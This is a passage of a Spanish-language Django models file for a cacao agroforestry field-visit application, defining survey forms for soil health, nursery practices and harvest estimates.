verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Punto 1" class Meta: verbose_name = 'Salud de Raíces punto 1' verbose_name_plural = 'Salud de Raíces punto 1' class Punto3SueloPunto2(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_OPCION_PUNTOS, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_RESPUESTA_PUNTOS, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Punto 2" class Meta: verbose_name = 'Salud de Raíces punto 2' verbose_name_plural = 'Salud de Raíces punto 2' class Punto3SueloPunto3(models.Model): opcion = models.IntegerField(choices=CHOICE_SUELO_OPCION_PUNTOS, verbose_name="Indicadores") respuesta = models.IntegerField(choices=CHOICE_SUELO_RESPUESTA_PUNTOS, verbose_name="respuesta") ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Punto 3" class Meta: verbose_name = 'Salud de Raíces punto 3' verbose_name_plural = 'Salud de Raíces punto 3' class Punto4Suelo(models.Model): area = models.FloatField(verbose_name='Tamaño de Área de Cacao SAF (en manzanas)') densidad = models.FloatField(verbose_name='Densidad de Arboles de Cacao en parcela SAF (por manzana)') ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Balance de nutrientes de parcela Cacao SAF" class Meta: verbose_name = 'Balance de nutrientes de parcela Cacao SAF' verbose_name_plural = 'Balance de nutrientes de parcela Cacao SAF' CHOICE_SUELO_PRODUCTO_COSECHA = ( (1, 'Cacao Grano Seco - (qq/mz/año)'), (2, 'Leña - (cargas de 125lb /mz/año)'), (3, 'Cabezas de Banano - (cabezas/mz/año)'), ) class Punto4SueloCosecha(models.Model): producto = models.IntegerField(choices=CHOICE_SUELO_PRODUCTO_COSECHA) cantidad = models.FloatField() ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Cosechas del Productos SAF" class Meta: verbose_name = 'Cosechas del Productos SAF' verbose_name_plural = 'Cosechas del Productos SAF' class Punto4SueloSI(models.Model): opcion = models.IntegerField(choices=CHOICE_SI_NO) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Se regresa la cascara a la parcela como abono?" class Meta: verbose_name = 'Se regresa la cascara a la parcela como abono?' verbose_name_plural = 'Se regresa la cascara a la parcela como abono?' class TipoFertilizantes(models.Model): nombre = models.CharField(max_length=250) def __unicode__(self): return u'%s' % (self.nombre) CHOICE_UNIDAD_MEDIDA_ABONO = ((1,'lb/mz'),(2,'lb/planta '),(3,'oz/planta'),(4,'L/mz'),(5, 'qq/mz')) class Punto5SueloAbonos(models.Model): tipo = models.ForeignKey(TipoFertilizantes) cantidad = models.FloatField('Cantidad(Valor)') unidad = models.IntegerField(choices=CHOICE_UNIDAD_MEDIDA_ABONO) humedad = models.FloatField('Humedad (%)') frecuencia = models.FloatField('Frecuencia (por año)') meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='Meses de aplicación') ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Abonos, fertilizantes y Enmiendas aplicadas en la parcela cacao SAF" class Meta: verbose_name = 'Abonos, fertilizantes y Enmiendas aplicadas en la parcela cacao SAF' verbose_name_plural = 'Abonos, fertilizantes y Enmiendas aplicadas en la parcela cacao SAF' class DatosAnalisis(models.Model): variable = models.CharField(max_length=250) unidad = models.CharField(max_length=250) valor_critico = models.FloatField() def __unicode__(self): return self.variable class Punto6AnalisisSuelo(models.Model): variable = models.ForeignKey(DatosAnalisis) valor = models.FloatField() ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Datos de análisis de suelo" class Meta: verbose_name = 'Datos de análisis de suelo' verbose_name_plural = 'Datos de análisis de suelo' class Punto7TipoSuelo(models.Model): opcion = models.IntegerField(choices=( (1,'Ultisol (rojo)'), (2, 'Andisol (volcánico)'), (3, 'Vertisol'),)) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Tipo de suelo" class Meta: verbose_name = 'Tipo de suelo' verbose_name_plural = 'Tipo de suelo' class Punto8SueloPropuesta(models.Model): tipo = models.ForeignKey(TipoFertilizantes) cantidad = models.FloatField('Cantidad(Valor)') unidad = models.IntegerField(choices=CHOICE_UNIDAD_MEDIDA_ABONO) frecuencia = models.FloatField('Frecuencia (por año)') meses = MultiSelectField(choices=CHOICES_FECHA_PODA, verbose_name='Meses de aplicación') ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Nueva Propuesta de Fertilización Generada" class Meta: verbose_name = 'Nueva Propuesta de Fertilización Generada' verbose_name_plural = 'Nueva Propuesta de Fertilización Generada' CHOICE_PUNTO9_LIMITACION_1 = ( (1, 'Erosión de Suelo'), ) CHOICE_PUNTO9_LIMITACION_1_ACCION = ( ('A', 'Barrera viva'), ('B', 'Cobertura de suelo'), ('C', 'Barrera Muerta'), ('D', 'Siembra en Curvas a Nivel'), ('E', 'Terrazas'), ) CHOICE_PUNTO9_LIMITACION_2 = ( (1, 'Mal drenaje y encharamientos'), ) CHOICE_PUNTO9_LIMITACION_2_ACCION = ( ('A', 'Acequias'), ('B', 'Canales de drenaje de larga'), ('C', 'Canales de drenaje alrededor de la parcela'), ) CHOICE_PUNTO9_LIMITACION_3 = ( (1, 'Deficiencia de Nutrientes'), ) CHOICE_PUNTO9_LIMITACION_3_ACCION = ( ('A', 'Aplicar abonos orgánicos'), ('B', 'Aplicar abonos minerales'), ) CHOICE_PUNTO9_LIMITACION_4 = ( (1, 'Exceso de nutrientes'), ) CHOICE_PUNTO9_LIMITACION_4_ACCION = ( ('A', 'Bajar nivel de fertilización'), ) CHOICE_PUNTO9_LIMITACION_5 = ( (1, 'Desbalance de nutrientes'), ) CHOICE_PUNTO9_LIMITACION_5_ACCION = ( ('A', 'Ajustar programa de fertilización '), ) CHOICE_PUNTO9_LIMITACION_6 = ( (1, 'Enfermedades y plagas de raíces'), ) CHOICE_PUNTO9_LIMITACION_6_ACCION = ( ('A', 'Abonos orgánicos'), ('B', 'Obras de drenaje'), ('C', 'Aplicación de ceniza'), ) CHOICE_PUNTO9_DONDE = ( (1, 'En todo parcela'), (2, 'En algunas partes'), ) class Punto9Erosion(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_1) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_1_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de eroción" class Meta: verbose_name = 'Erosión de Suelo' verbose_name_plural = 'Erosión de Suelo' class Punto9Drenaje(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_2) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_2_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de mal drenaje" class Meta: verbose_name = 'Mal drenaje y encharamientos' verbose_name_plural = 'Mal drenaje y encharamientos' class Punto9Nutrientes(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_3) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_3_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de deficiencia nutrientes" class Meta: verbose_name = 'Deficiencia de Nutrientes' verbose_name_plural = 'Deficiencia de Nutrientes' class Punto9Exceso(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_4) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_4_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de exceso de nutrientes" class Meta: verbose_name = 'Exceso de nutrientes' verbose_name_plural = 'Exceso de nutrientes' class Punto9Desbalance(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_5) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_5_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de desbalance de nutrientes" class Meta: verbose_name = 'Desbalance de nutrientes' verbose_name_plural = 'Desbalance de nutrientes' class Punto9Enfermedades(models.Model): limitaciones = models.IntegerField(choices=CHOICE_PUNTO9_LIMITACION_6) acciones = MultiSelectField(choices=CHOICE_PUNTO9_LIMITACION_6_ACCION, verbose_name='Acciones potenciales') donde = models.IntegerField(choices=CHOICE_PUNTO9_DONDE) ficha = models.ForeignKey(FichaSuelo) def __unicode__(self): return u"Toma de decisión con base en las observaciones de enfermedades y plagas" class Meta: verbose_name = 'Enfermedades y plagas de raíces' verbose_name_plural = 'Enfermedades y plagas de raíces' #------------ fin ficha suelo --------------------------------- #-------------------- comienza ficha viviero ------------------ class FichaVivero(models.Model): productor = models.ForeignKey(Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_vivero') tecnico = models.ForeignKey(Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_vivero') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha vivero" verbose_name_plural = "Ficha vivero" CHOICE_VIVERO_CONVERSACION_1 = ( ('A', 'Enero'), ('B', 'Febrero'), ('C', 'Marzo'), ('D', 'Abril'), ('E', 'Mayo'), ('F', 'Junio'), ('G', 'Julio'), ('H', 'Agosto'), ('I', 'Septiembre'), ('J', 'Octubre'), ('K', 'Noviembre'), ('L', 'Diciembre'), ) CHOICE_VIVERO_CONVERSACION_2 = ( ('A', 'En este momento hay buena semilla'), ('B', 'En este momento hay suficiente agua'), ('C', 'En este momento hay menos plagas'), ('D', 'Nos permite para tener plantas listas para sembrar en el invierno'), ) CHOICE_VIVERO_CONVERSACION_3 = ( ('A', 'Buena altura'), ('B', 'Tallo fuerte'), ('C', 'Buena formación horqueta'), ('D', 'Ramas principales robustas'), ('E', 'Buena producción de frutos (más de 40 frutos por planta)'), ('F', 'Alta tolerancia a plagas y enfermedades'), ('G', 'Más de 40 almendras dentro de la mazorca'), ) CHOICE_VIVERO_CONVERSACION_4 = ( ('A', 'Corte de mazorca madura'), ('B', 'Extracción de almendras'), ('C', 'Selección de almendras de mayor tamaño'), ('D', 'Remoción de mucilago o baba'), ('E', 'Empaque en bolsas plásticas con aserrín semi-húmedo'), ('F', 'Toma en cuenta fases de la luna'), ) CHOICE_VIVERO_CONVERSACION_5 = ( ('A', 'Soleando la tierra'), ('B', 'Aplicando agua caliente'), ('C', 'Aplicando cal o ceniza'), ('D', 'Aplicando venenos'), ('E', 'No desinfecta'), ) CHOICE_VIVERO_CONVERSACION_6 = ( (1, 'Sola tierra'), (2, 'Tierra + Arena'), (3, 'Tierra + Abono orgánico (compost)'), (4, 'Tierra + abono orgánico + Cal o ceniza'), (5, 'Tierra + Arena + Cal o Ceniza + Abono orgánico'), ) CHOICE_VIVERO_CONVERSACION_7 = ( (1, 'Bolsa de 6 X 8 pulgadas '), (2, 'Bolsa de 8 X 10 pulgadas'), (3, 'Bolsa de 10 X 12 pulgadas'), ) CHOICE_VIVERO_CONVERSACION_8 = ( (1, 'Acostado u horizontal'), (2, 'Parado o Vertical'), (3, 'De cualquier manera'), ) CHOICE_VIVERO_CONVERSACION_9 = ( ('A', 'Cerca de fuentes de agua'), ('B', 'Cercado protegido de animales'), ('C', 'Terreno plano'), ('D', 'Con buena orientación de los bancos (Este-Oeste)'), ('E', 'Con sombra natural'), ('F', 'Con ramada'), ) CHOICE_VIVERO_CONVERSACION_10 = ( (1, 'Injerto de yema'), (2, 'Injerto de cogollo'), (3, 'Ninguno'), ) CHOICE_VIVERO_CONVERSACION_12 = ( (1, 'De la misma finca'), (2, 'De finca vecina'), (3, 'De Jardín Clonal'), ) class VivieroConversacion(models.Model): conversacion1 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_1, verbose_name='1.¿En qué meses del año planifica o construye viveros para producción de plantas de cacao?') conversacion2 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_2, verbose_name='2.¿Por qué hace vivero en estos meses?') conversacion3 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_3, verbose_name='3.¿Cuáles son características más deseables para una planta productiva?') conversacion4 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_4, verbose_name='4.¿Qué pasos realiza para la preparación de semillas de cacao?') conversacion5 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_5, verbose_name='5.¿Con qué desinfecta el suelo para el vivero?') conversacion6 = models.IntegerField(choices=CHOICE_VIVERO_CONVERSACION_6, verbose_name='¿Cómo prepara el sustrato para la producción de plantas de cacao en vivero?') ficha = models.ForeignKey(FichaVivero) def __unicode__(self): return u"Conversación con el Productor o productora" # class Meta: # verbose_name = 'I.Conversación con el Productor o productora' # verbose_name_plural = 'I.Conversación con el Productor o productora' CHOICE_VIVERO_NUEVO_CONVERSACION2 = ((1,'Misma finca'),(2,'Del jardin clonal'),(3, 'Otras fuentes')) class ViveroConversacion2(models.Model): conversacion7 = models.IntegerField(choices=CHOICE_VIVERO_CONVERSACION_7, verbose_name='¿Qué tamaño de bolsa de polietileno utiliza para la producción de plantas en vivero?') conversacion8 = models.IntegerField(choices=CHOICE_VIVERO_CONVERSACION_8, verbose_name='¿Cómo coloca la semilla en el sustrato en la bolsa de polietileno?') conversacion9 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_9, verbose_name='¿Cómo es el sitio del vivero?') conversacion10 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_10, verbose_name=' ¿Qué tipo de injerto ha realizado?') conversacion11 = models.FloatField('¿Cuál ha sido el porcentaje de prendimiento?', null=True) conversacion12 = MultiSelectField(choices=CHOICE_VIVERO_CONVERSACION_12, verbose_name='¿De dónde obtiene las varetas para realizar los injertos?') conversacion13 = models.FloatField('¿Cuanto meses se mantiene la plata en el vivero?', null=True, blank=True) conversacion14 = models.IntegerField(choices=CHOICE_VIVERO_NUEVO_CONVERSACION2, verbose_name='¿De donde obtiene las semillas?', null=True, blank=True) ficha = models.ForeignKey(FichaVivero) def __unicode__(self): return u"Conversación con el Productor o productora 2" #observaciones CHOICER_VIVIERO_FUENTE_SEMILLA = ((1,'De la misma finca'),(2,'De finca vecina'),(3,'De Jardín Clonal')) class VivieroObservacion1(models.Model): observacion1 = models.FloatField('Cantidad de las plantas') observacion2 = models.FloatField('Edad de las plantas en meses') observacion3 = models.IntegerField(choices=CHOICER_VIVIERO_FUENTE_SEMILLA, verbose_name='Fuente de semilla') ficha = models.ForeignKey(FichaVivero) def __unicode__(self): return u"Observación del vivero 1" class Meta: verbose_name = '' verbose_name_plural = '' CHOICE_VIVERO_PLAGAS_ENFERMEDADES = ( (1, 'Zompopo'), (2, 'Barrenador'), (3, 'Minador'), (4, 'Tizón'), (5, 'Antracnosis'), (6, 'Mal de talluelo'), (7, 'Áfidos'), (8, 'Gusanos'), (9, 'Deficiencia nutricional'), ) CHOICE_VIVERO_SI_NO = ( (1, 'Si'), (2, 'No'), ) class VivieroObservacion2(models.Model): observacion3 = models.IntegerField(choices=CHOICE_VIVERO_PLAGAS_ENFERMEDADES, verbose_name='Plaga o enfermedad') planta_1 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_2 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_3 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_4 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_5 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_6 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_7 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_8 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_9 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) planta_10 = models.IntegerField(choices=CHOICE_VIVERO_SI_NO) ficha = models.ForeignKey(FichaVivero) total_si = models.IntegerField(editable=False, null=True, blank=True) def __unicode__(self): return u"Observación del vivero 2" def save(self, *args, **kwargs): contar_total = 0 if self.planta_1 == 1: contar_total += 1 if self.planta_2 == 1: contar_total += 1 if self.planta_3 == 1: contar_total += 1 if self.planta_4 == 1: contar_total += 1 if self.planta_5 == 1: contar_total += 1 if self.planta_6 == 1: contar_total += 1 if self.planta_7 == 1: contar_total += 1 if self.planta_8 == 1: contar_total += 1 if self.planta_9 == 1: contar_total += 1 if self.planta_10 == 1: contar_total += 1 self.total_si = contar_total super(VivieroObservacion2, self).save(*args, **kwargs) # class Meta: # verbose_name = 'Presencia de plagas y enfermedades' # verbose_name_plural = 'Presencia de plagas y enfermedades' class ProductosVivero(models.Model): nombre = models.CharField(max_length=250) def __unicode__(self): return self.nombre # class Meta: # verbose_name = 'Productos para el vivero' # verbose_name_plural = 'Productos para el vivero' CHOICE_VIVERO_UNIDAD_PRODUCTOS = ((1,'Onz/planta'),(2,'Lt/bombada'),(3,'onz/bomba'),) class VivieroObservacionProductos(models.Model): producto = models.ForeignKey(ProductosVivero, verbose_name='Nombre') cantidad = models.FloatField() unidad = models.IntegerField(choices=CHOICE_VIVERO_UNIDAD_PRODUCTOS) frecuencia = models.FloatField() ficha = models.ForeignKey(FichaVivero) def __unicode__(self): return u"Observación del vivero 3" CHOICE_VIVERO_ANALISIS_1 = ( ('A', 'Ningún problema'), ('B', 'Proveniente de plantas con baja productividad'), ('C', 'Posiblemente con alta incompatibilidad'), ) CHOICE_VIVERO_ANALISIS_2 = ( ('A', 'Ningún problema'), ('B', 'Planta desuniforme'), ('C', 'Plantas con poco vigor'), ('D', 'Plantas con deficiencia nutricionales'), ('E', 'Mal manejo de riego'), ('F', 'Mal manejo de sombra'), ) CHOICE_VIVERO_ANALISIS_3 = ( ('A', 'Zompopo'), ('B', 'Barrenador'), ('C', 'Minador'), ('D', 'Tizón'), ('E', 'Antracnosis'), ('F', 'Mal de talluelo'), ('G', 'Áfidos'), ('H', 'Gusanos'), ) CHOICE_VIVERO_ANALISIS_4 = ( ('A', 'Mejorar la fuente de semilla'), ('B', 'Mezclar las 9 fuentes de semilla'), ('C', 'Mejorar el sustrato en las bolsas'), ('D', 'Mejorar el manejo de plagas'), ('E', 'Mejorar el manejo de nutrición'), ('F', 'Mejorar el riego y sombra'), ) class VivieroAnalisisSituacion(models.Model): analisis1 = MultiSelectField(choices=CHOICE_VIVERO_ANALISIS_1, verbose_name='¿Cuáles son los problemas de la semilla?') analisis2 = MultiSelectField(choices=CHOICE_VIVERO_ANALISIS_2, verbose_name='¿Cuáles son los problemas las plantas?') analisis3 = MultiSelectField(choices=CHOICE_VIVERO_ANALISIS_3, verbose_name='¿Cuáles son los problemas de plagas y enfermedades?') analisis4 = MultiSelectField(choices=CHOICE_VIVERO_ANALISIS_4, verbose_name='¿Qué acciones vamos a realizar para mejorar el vivero?') ficha = models.ForeignKey(FichaVivero) def __unicode__(self): return u"Análisis de la situación y acciones en el vivero" #-------- fin de ficha vivero ----------------------- #--------- inicia ficha cosecha ---------------------- class FichaCosecha(models.Model): productor = models.ForeignKey( Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_cosecha') tecnico = models.ForeignKey( Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_cosecha') fecha_visita = models.DateField() def __unicode__(self): return self.productor.nombre class Meta: verbose_name = "Ficha cosecha" verbose_name_plural = "Ficha cosecha" CHOICE_COSECHA_CONVERSACION_1 = ( ('A', 'Por el color'), ('B', 'Por el tamaño'), ('C', 'Por la textura'), ('D', 'Por la fecha'), ) CHOICE_COSECHA_CONVERSACION_2 = ( ('A', 'Media Luna'), ('B', 'Cutacha'), ('C', 'Machete'), ('D', 'Tijera'), ) CHOICE_COSECHA_CONVERSACION_3 = ( ('A', 'Rechazar mazorcas enfermas'), ('B', 'Rechazar mazorcas dañadas'), ('C', 'Rechazar mazorcas sobremaduras'), ('D', 'Rechazar mazorcas inmaduras'), ('E', 'Rechazar mazorcas pequeñas'), ('F', 'Seleccionar mazorcas maduras'), ('G', 'Seleccionar mazorcas de buena calidad'), ) CHOICE_COSECHA_CONVERSACION_4 = ( ('A', 'Media Luna'), ('B', 'Cutacha'), ('C', 'Machete'), ('D', 'Maso'), ) class CosechaConversacion1(models.Model): conversacion1 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_1, verbose_name='1.1-¿Cómo se determina qué la mazorca está madura para cosecha? ') conversacion2 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_2, verbose_name='1.2-¿Qué herramientas utiliza para el corte de las mazorcas maduras? ') conversacion3 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_3, verbose_name='1.3-¿Qué criterios toma en cuenta para la selección de mazorcas antes del quiebre? ') conversacion4 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_4, verbose_name='1.4-¿Qué herramientas utiliza para el quiebre de las mazorcas seleccionadas? ') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"Conversación con la productora o el productor 1" CHOICE_COSECHA_CONVERSACION_5 = ( ('A', 'Bolsa plástica'), ('B', 'Bidón o Balde'), ('C', 'Saco Macen'), ('D', 'Saco de yute'), ('E', 'Cajón de madera'), ) CHOICE_COSECHA_CONVERSACION_7 = ( ('A', 'Entierra las mazorcas'), ('B', 'Botan las mazorcas sin enterrar'), ('C', 'Queman las mazorcas'), ) CHOICE_COSECHA_CONVERSACION_8 = ( (1, 'Cada mes'), (2, 'Cada quince días'), (3, 'Depende de la maduración'), ) class CosechaConversacion2(models.Model): conversacion5 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_5, verbose_name='1.5-¿Qué tipo de almacenamiento emplea después del quiebre de las mazorcas de cacao? ') conversacion6 = models.FloatField('1.6-¿Cuánto tiempo tarda en llevar el cacao en baba al centro de acopio?') conversacion7 = MultiSelectField(choices=CHOICE_COSECHA_CONVERSACION_7, verbose_name='1.7-¿Qué manejo realiza con las mazorcas de cacao enfermas? ') conversacion8 = models.IntegerField(choices=CHOICE_COSECHA_CONVERSACION_8, verbose_name='1.8-¿Cada cuánto realizan los cortes? ') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"Conversación con la productora o el productor 2" CHOICE_COSECHA_9_MESES = ( (1, 'Enero'), (2, 'Febrero'), (3, 'Marzo'), (4, 'Abril'), (5, 'Mayo'), (6, 'Junio'), (7, 'Julio'), (8, 'Agosto'), (9, 'Septiembre'), (10, 'Octubre'), (11, 'Noviembre'), (12, 'Diciembre'), ) CHOICE_COSECHA_9_FLORACION = ( (1, 'No hay flores'), (2, 'Poca flores'), (3, 'Algo de flores'), (4, 'Mucha flores'), ) class CosechaMesesFloracion(models.Model): mes = models.IntegerField(choices=CHOICE_COSECHA_9_MESES, verbose_name='Meses') floracion = models.IntegerField(choices=CHOICE_COSECHA_9_FLORACION, verbose_name='Floración') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"¿Cuáles son las meses de mayor floración? " CHOICE_COSECHA_10_COSECHA = ( (1, 'No hay Cosecha'), (2, 'Poca cosecha'), (3, 'Algo de cosecha'), (4, 'Mucha cosecha'), ) class CosechaMesesCosecha(models.Model): mes = models.IntegerField(choices=CHOICE_COSECHA_9_MESES, verbose_name='Meses') floracion = models.IntegerField(choices=CHOICE_COSECHA_10_COSECHA, verbose_name='Cosecha') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"¿Cuáles son las meses de mayor floración? " CHOICE_COSECHA_ESTIMADO_PUNTOS = ( (1, 'Número de mazorcas sanas'), (2, 'Número de mazorcas enfermas'), (3, 'Número de mazorcas dañadas'), ) class CosechaPunto1(models.Model): mazorcas = models.IntegerField(choices=CHOICE_COSECHA_ESTIMADO_PUNTOS, verbose_name='Mazorcas') planta_1 = models.FloatField() planta_2 = models.FloatField() planta_3 = models.FloatField() planta_4 = models.FloatField() planta_5 = models.FloatField() planta_6 = models.FloatField() planta_7 = models.FloatField() planta_8 = models.FloatField() planta_9 = models.FloatField() planta_10 = models.FloatField() total_platas = models.FloatField(editable=False, null=True, blank=True) contador = models.IntegerField(editable=False, default=0, null=True, blank=True) ficha = models.ForeignKey(FichaCosecha) def save(self, *args, **kwargs): self.total_platas = self.planta_1 + self.planta_2 + self.planta_3 + self.planta_4 + \ self.planta_5 + self.planta_6 + self.planta_7 + self.planta_8 + self.planta_9 + self.planta_10 contar = 0 if self.planta_1 >= 0: contar += 1 if self.planta_2 >= 0: contar += 1 if self.planta_3 >= 0: contar += 1 if self.planta_4 >= 0: contar += 1 if self.planta_5 >= 0: contar += 1 if self.planta_6 >= 0: contar += 1 if self.planta_7 >= 0: contar += 1 if self.planta_8 >= 0: contar += 1 if self.planta_9 >= 0: contar += 1 if self.planta_10 >= 0: contar += 1 self.contador = contar super(CosechaPunto1, self).save(*args, **kwargs) def __unicode__(self): return u"2.1 Punto 1" class CosechaPunto2(models.Model): mazorcas = models.IntegerField(choices=CHOICE_COSECHA_ESTIMADO_PUNTOS, verbose_name='Mazorcas') planta_1 = models.FloatField() planta_2 = models.FloatField() planta_3 = models.FloatField() planta_4 = models.FloatField() planta_5 = models.FloatField() planta_6 = models.FloatField() planta_7 = models.FloatField() planta_8 = models.FloatField() planta_9 = models.FloatField() planta_10 = models.FloatField() total_platas = models.FloatField(editable=False, null=True, blank=True) contador = models.IntegerField(editable=False, default=0, null=True, blank=True) ficha = models.ForeignKey(FichaCosecha) def save(self, *args, **kwargs): self.total_platas = self.planta_1 + self.planta_2 + self.planta_3 + self.planta_4 + \ self.planta_5 + self.planta_6 + self.planta_7 + self.planta_8 + self.planta_9 + self.planta_10 contar = 0 if self.planta_1 >= 0: contar += 1 if self.planta_2 >= 0: contar += 1 if self.planta_3 >= 0: contar += 1 if self.planta_4 >= 0: contar += 1 if self.planta_5 >= 0: contar += 1 if self.planta_6 >= 0: contar += 1 if self.planta_7 >= 0: contar += 1 if self.planta_8 >= 0: contar += 1 if self.planta_9 >= 0: contar += 1 if self.planta_10 >= 0: contar += 1 self.contador = contar super(CosechaPunto2, self).save(*args, **kwargs) def __unicode__(self): return u"2.2 Punto 2" class CosechaPunto3(models.Model): mazorcas = models.IntegerField(choices=CHOICE_COSECHA_ESTIMADO_PUNTOS, verbose_name='Mazorcas') planta_1 = models.FloatField() planta_2 = models.FloatField() planta_3 = models.FloatField() planta_4 = models.FloatField() planta_5 = models.FloatField() planta_6 = models.FloatField() planta_7 = models.FloatField() planta_8 = models.FloatField() planta_9 = models.FloatField() planta_10 = models.FloatField() total_platas = models.FloatField(editable=False, null=True, blank=True) contador = models.IntegerField(editable=False, default=0, null=True, blank=True) ficha = models.ForeignKey(FichaCosecha) def save(self, *args, **kwargs): self.total_platas = self.planta_1 + self.planta_2 + self.planta_3 + self.planta_4 + \ self.planta_5 + self.planta_6 + self.planta_7 + self.planta_8 + self.planta_9 + self.planta_10 contar = 0 if self.planta_1 >= 0: contar += 1 if self.planta_2 >= 0: contar += 1 if self.planta_3 >= 0: contar += 1 if self.planta_4 >= 0: contar += 1 if self.planta_5 >= 0: contar += 1 if self.planta_6 >= 0: contar += 1 if self.planta_7 >= 0: contar += 1 if self.planta_8 >= 0: contar += 1 if self.planta_9 >= 0: contar += 1 if self.planta_10 >= 0: contar += 1 self.contador = contar super(CosechaPunto3, self).save(*args, **kwargs) def __unicode__(self): return u"2.3 Punto 3" class CosechaAreaPlantas(models.Model): area = models.FloatField('Área de la parcela (en mz)') plantas = models.FloatField('Número de plantas por mz') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"Area y número de platas" CHOICE_COSECHA_ANALISIS_1 = ( ('A', 'Pocas plantas productivas'), ('B', 'Muchas mazorcas enfermas'), ('C', 'Muchas mazorcas dañadas'), ('D', 'Muchas mazorcas pequeñas'), ('E', 'Muchas mazorcas con pocos granos'), ('F', 'Muchos granos pequeños'), ) CHOICE_COSECHA_ANALISIS_2 = ( ('A', 'Mazorcas enfermas'), ('B', 'Mazorcas dañadas'), ('C', 'Mazorcas pequeñas'), ) CHOICE_COSECHA_ANALISIS_3 = ( ('A', 'Remover las mazorcas enfermas a tiempo'), ('B', 'Establecer control de las ardillas'), ('C', 'Mejorar la nutrición de las plantas'), ('D', 'Realizar poda de las plantas de cacao'), ('E', 'Regular la sombra'), ('F', 'Cosechar a tiempo'), ('G', 'Reponer las plantas no productivas con plantas productivas'), ) class CosechaAnalisis(models.Model): analisis1 = MultiSelectField(choices=CHOICE_COSECHA_ANALISIS_1, verbose_name='3.1-¿Cuál es el problema principal que afecta el rendimiento productivo de la parcela de cacao?') analisis2 = MultiSelectField(choices=CHOICE_COSECHA_ANALISIS_2, verbose_name='3.2-¿Cuál es la causa de la pérdida de producción en la parcela de cacao? ') analisis3 = MultiSelectField(choices=CHOICE_COSECHA_ANALISIS_3, verbose_name='3.3-¿Qué prácticas se pueden realizar en la parcela de cacao para mejorar la cosecha? ') ficha = models.ForeignKey(FichaCosecha) def __unicode__(self): return u"Análisis sobre la cosecha y acciones" # ---------------- fin ficha cosecha --------------------------------- # ---------------- inicia ficha saf ---------------------------------- class FichaSaf(models.Model): productor = models.ForeignKey( Persona, verbose_name='Nombre de productor o productora', related_name='persona_productor_saf') tecnico = models.ForeignKey( Persona, verbose_name='Nombre de técnico', related_name='persona_tecnico_saf') fecha_visita = models.DateField() def 